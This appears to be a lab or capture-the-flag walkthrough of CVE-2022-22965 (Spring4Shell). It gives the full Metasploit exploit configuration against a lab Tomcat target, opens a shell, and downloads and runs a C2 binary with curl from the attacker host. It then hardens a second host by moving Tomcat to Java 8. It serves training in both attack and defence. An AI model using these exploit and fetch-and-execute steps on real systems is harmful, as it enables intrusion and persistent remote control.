felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-Step-by-step walkthrough of exploiting CVE-2022-22965 (Spring4Shell) with Metasploit, deploying a C2 listener, and mitigating the vulnerability by downgrading to Java 8 on a Tomcat server.
This walkthrough documents the completion of the Sandbox Challenge focused on CVE-2022-22965, commonly known as Spring4Shell — a critical (CVSS 9.8/10) remote code execution vulnerability affecting specific versions of the Spring Java framework. The challenge covers both offensive (red team) and defensive (blue team) perspectives of the vulnerability.
Note: Commands and file paths in this walkthrough reflect the specific environment used during this attempt. Your environment may differ — adjust paths, IP addresses, and filenames accordingly.
| Machine | IP Address | Role |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Attack and work machine |
| Red Target (Linux) | 172.16.100.90 | Exploitation target |
| Blue Target (Linux) | 172.16.100.100 | Hardening target |
Credentials: playerone / password123
Reviewed the Network Map tab in the challenge panel to confirm the Red Target IP (172.16.100.90). Used curl to inspect the web application running on port 80:
curl http://172.16.100.90
Output revealed Apache Tomcat 9.0.59 with a redirect to /dasmsp. Browsed the page source to identify a POST form endpoint at /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
The exploit successfully generated a JSP shell, modified the class loader, flushed the log file, and opened a command shell session on the Red Target.
After the session opened, entered shell to upgrade to an interactive shell. Metasploit located /usr/bin/script on the target and used it to pop an interactive shell as the tomcat user.
The deploy_c2 binary was located on the Security-Desk, not the Red Target. Hosted it via a Python3 HTTP server on the Security-Desk:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Downloaded and executed it from within the Red Target shell session:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Output confirmed: Done! — C2 listener successfully deployed on the Red Target.
From the Security-Desk terminal:
Password: password123
The Java 8 .deb packages were located on the Security-Desk at /home/playerone/Desktop/Resources/. Transferred them to the Blue Target using SCP from a Security-Desk terminal:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Packages transferred:
On the Blue Target SSH session:
sudo dpkg -i /tmp/*.deb
Due to a known challenge issue, the check does not register correctly without manually setting Java 8 as the default:
sudo update-alternatives --config java
Selected option 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Inspected the Tomcat service unit file:
cat /etc/systemd/system/tomcat.service
Edited the file to update the JAVA_HOME environment variable:
sudo nano /etc/systemd/system/tomcat.service
Changed:
Environment="JAVA_HOME=/usr"
To:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
The CVE-2022-22965 Mitigated on Blue Target check turned green in the challenge panel.
spring_framework_rce_spring4shell module)